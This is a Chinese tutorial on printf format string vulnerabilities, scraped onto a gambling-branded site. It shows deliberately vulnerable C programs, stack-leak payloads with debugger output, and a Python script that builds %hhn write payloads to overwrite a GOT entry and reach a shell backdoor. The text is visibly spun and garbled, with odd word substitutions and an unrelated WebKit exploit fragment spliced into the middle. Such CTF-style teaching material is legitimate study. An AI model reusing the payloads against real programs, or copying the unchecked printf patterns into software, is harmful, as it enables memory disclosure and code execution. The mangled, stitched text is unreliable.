printf 罕见破绽 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

printf 罕见破绽

申博_新闻事件 申博 100次浏览 未收录 0个评论

对 printf 罕见破绽做了整合,并举出响应的例子。

道理就是将栈上或许寄存器上的信息泄漏出来,或许写入进去,为了到达某些目标。

第一种:整数型

第一种是直接应用printf函数的特征,运用n$直接举行偏移,从而泄漏指定的信息,最典范的就是%d

举个例子:

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>

int login(long long password)
{
    char buf[0x10] = {0};
    long long your_pass;

    scanf("%15s", buf);
    printf(buf);
    printf("\n");
    scanf("%lld", &your_pass);

    return password == your_pass;
}

int main()
{
    long long password;

    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    srand(time(NULL));
    password = rand();

    if(login(password))
    {
        system("/bin/sh");
    }
    {
        printf("Failed!\n");
    }

    return 0;
}

在gdb调试下,printf的栈地点与password的栈地点相差n个字长,加上栈的6个寄存器传参,所以应用%(n+6)$lld就能够泄漏该值,我的机械n为11。

ex@Ex:~/test$ ./login
%17$lld
706665966
706665966
$

第二种:浮点型

平常来说是%llf,然则因为泄漏地点时该值总是会因为精度丧失,而变得不精确,所以应用%a来泄漏地点更好,%a是以16进制的情势输出double型变量,下面让我们来看看反汇编代码。

printf 罕见破绽

在挪用printf之前,顺序会先把浮点型变量压入xmm寄存器,再把其数量传给eax,在printf开始时,会先搜检al是不是为0,假如不为0,则把xmm寄存器压回栈中,可见printf读取的都是栈的内容。

这里就存在一个破绽,上面的行动都是编译器划定的,如果printf参数仅仅是一个我们能掌握的buf,那末编译器编译时浮点型变量数量就是0,也就意味着传入的eax也将为0,这时候我们再使其输出浮点型,那末就会泄漏出栈上的地点。

举个例子:

#include <stdio.h>
#include <dlfcn.h>

int main()
{
    char *libc_addr = *(char **)dlopen("libc.so.6", RTLD_LAZY);

    printf("libc addr: %p\n", libc_addr);
    printf("     %lx\n", (long long)(libc_addr + 0x5f4000) >> 8 );
    printf("%a\n%a\n");

    return 0;
}

经由过程gdb调试就能够看到其泄漏的值。

WebKit RegExp Exploit addrof() walk-through – browser 0x04

原文地址:https://liveoverflow.com/webkit-regexp-exploit-addrof-walk-through-browser-0x04/ Introduction 在前面的文章中,我们为读者不仅为读者介绍了jsc的内部原理,同时,也阐释了exploit的相关原理。所以,在这篇文章中,我们将为读者演示Linus的exploit。考察其源代码的过程中,我们通过index.html发现了一个pwn.html文件,其中引用了许多javascript文件。




如上所示,这里涉及多个文件,其作用我们将在后面详细介

0x7ffff7844e89 <printf+9>      mov    qword ptr [rsp + 0x28], rsi
   0x7ffff7844e8e <printf+14>     mov    qword ptr [rsp + 0x30], rdx
   0x7ffff7844e93 <printf+19>     mov    qword ptr [rsp + 0x38], rcx
   0x7ffff7844e98 <printf+24>     mov    qword ptr [rsp + 0x40], r8
   0x7ffff7844e9d <printf+29>     mov    qword ptr [rsp + 0x48], r9
 ► 0x7ffff7844ea2 <printf+34>   ✔ je     printf+91 <0x7ffff7844edb>
    ↓
   0x7ffff7844edb <printf+91>     mov    rax, qword ptr fs:[0x28]
   0x7ffff7844ee4 <printf+100>    mov    qword ptr [rsp + 0x18], rax
   0x7ffff7844ee9 <printf+105>    xor    eax, eax
   0x7ffff7844eeb <printf+107>    lea    rax, [rsp + 0xe0]
   0x7ffff7844ef3 <printf+115>    mov    rsi, rdi
───────────────────────────────────────────────────[ STACK ]───────────────────────────────────────────────────
00:0000│ rsp  0x7fffffffda00 ◂— 0x3000000010
01:0008│      0x7fffffffda08 —▸ 0x7fffffffdae0 —▸ 0x7fffffffdbd0 ◂— 0x1
02:0010│      0x7fffffffda10 —▸ 0x7fffffffda20 —▸ 0x7fffffffda50 ◂— 0x0
03:0018│      0x7fffffffda18 ◂— 0x7fa928f26b67c600
04:0020│      0x7fffffffda20 —▸ 0x7fffffffda50 ◂— 0x0
05:0028│      0x7fffffffda28 —▸ 0x555555756290 ◂— '     7ffff7dd40\nff77e0000\n'
06:0030│      0x7fffffffda30 ◂— 0x0
... ↓
─────────────────────────────────────────────────[ BACKTRACE ]─────────────────────────────────────────────────
 ► f 0     7ffff7844ea2 printf+34
   f 1     555555554725 main+107
   f 2     7ffff7801b97 __libc_start_main+231
pwndbg> x/4gx $rsp+0x50
0x7fffffffda50: 0x0000000000000000  0x7fa928f26b67c600
0x7fffffffda60: 0x00007ffff7dd40e0  0x00007ffff7bd1f40

然后就能够用该值计算出响应的地点,效果以下:

ex@Ex:~/test$ gcc main.c -g -ldl -w
ex@Ex:~/test$ ./a.out 
libc addr: 0x7f9223e6d000
     7f92244610
0x0p+0
0x0.07f92244610ep-1022
ex@Ex:~/test$ ./a.out 
libc addr: 0x7f9af3ddb000
     7f9af43cf0
0x0p+0
0x0.07f9af43cf0ep-1022
ex@Ex:~/test$ ./a.out 
libc addr: 0x7f8371014000
     7f83716080
0x0p+0
0x0.07f83716080ep-1022

第三种:字符串

就是我们经常使用的%s,这个须要连系栈上面的信息举行泄漏,或许直接泄漏寄存器指向的字符串。

举个例子:

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>

void timeout()
{
    puts("Timeout!");
    exit(0);
}

int main()
{
    char buf[0x10];

    scanf("%15s", buf);
    signal(14, timeout);
    alarm(60);
    printf(buf);

    return 0;
}

因为printf函数上面的signal函数实行后,经由过程调试发明第二个参数是指向timeout的地点的指针,我们能够运用%s将其读出,从而到达泄漏顺序基地点的目标。

─────────────────────────────────────────────────[ REGISTERS ]─────────────────────────────────────────────────
 RAX  0x0
 RBX  0x0
 RCX  0x0
 RDX  0x0
 RDI  0x0
 RSI  0x7fffffffd840 —▸ 0x55555555483a (timeout) ◂— push   rbp
 R8   0x7fffffffda30 ◂— 0x0
 R9   0x0
 R10  0x8
 R11  0x206
 R12  0x555555554730 (_start) ◂— xor    ebp, ebp
 R13  0x7fffffffdbe0 ◂— 0x1
 R14  0x0
 R15  0x0
 RBP  0x7fffffffdb00 —▸ 0x5555555548d0 (__libc_csu_init) ◂— push   r15
 RSP  0x7fffffffdae0 ◂— 0x555555007325 /* '%s' */
 RIP  0x555555554894 (main+64) ◂— mov    edi, 0x3c
──────────────────────────────────────────────────[ DISASM ]───────────────────────────────────────────────────
   0x555555554883 <main+47>    lea    rsi, [rip - 0x50] <0x55555555483a>
   0x55555555488a <main+54>    mov    edi, 0xe
   0x55555555488f <main+59>    call   signal@plt <0x5555555546f0>

 ► 0x555555554894 <main+64>    mov    edi, 0x3c
   0x555555554899 <main+69>    mov    eax, 0
   0x55555555489e <main+74>    call   alarm@plt <0x5555555546e0>

   0x5555555548a3 <main+79>    lea    rax, [rbp - 0x20]
   0x5555555548a7 <main+83>    mov    rdi, rax
   0x5555555548aa <main+86>    mov    eax, 0
   0x5555555548af <main+91>    call   printf@plt <0x5555555546d0>

   0x5555555548b4 <main+96>    mov    eax, 0

差别环境,效果判然差别,顺序的详细行动还须要本身上手调试来得出结论。

ex@Ex:~/test$ echo "%s" | ./a.out | hexdump -C
00000000  3a a8 10 8d cc 55                                 |:....U|
00000006

第四种:写入型

平常是用%n来举行写入,这个也有两种状况。

一是是栈上的地点可控,能够直接完成恣意地点写;第二种,只能写到栈中指定的地点来举行部份掩盖。

举个例子:

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void backdoor()
{
    execve("/bin/sh", NULL, NULL);
    asm("xor %rdi, %rdi\n mov $60, %eax\n syscall");
}

int main()
{
    char buf[0x100];

    scanf("%255s", buf);
    printf(buf);

    exit(0);
}

假定上面的例子没有开启PIE,则我们能够直接修正exit函数的got地点为backdoor

平常写入型花样字符串的花样以下:

import struct

content = 'abcdefgh'
addr = 0x400000
offset = 16
inner_offset = 3
payload = ''

last = 0
for i in range(len(content)):
    payload += '%%%dc%%%d$hhn' % ((ord(content[i]) - last + 0x100) % 0x100, offset + i)

payload += 'a' * inner_offset + ''.join([struct.pack('Q', addr + i) for i in range(len(content))])

print(payload)


申博|网络安全巴士站声明:该文看法仅代表作者自己,与本平台无关。版权所有丨如未注明 , 均为原创丨本网站采用BY-NC-SA协议进行授权
转载请注明printf 罕见破绽
喜欢 (0)
[]
分享 (0)
发表我的评论
取消评论
表情 贴图 加粗 删除线 居中 斜体 签到

Hi,您需要填写昵称和邮箱!

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址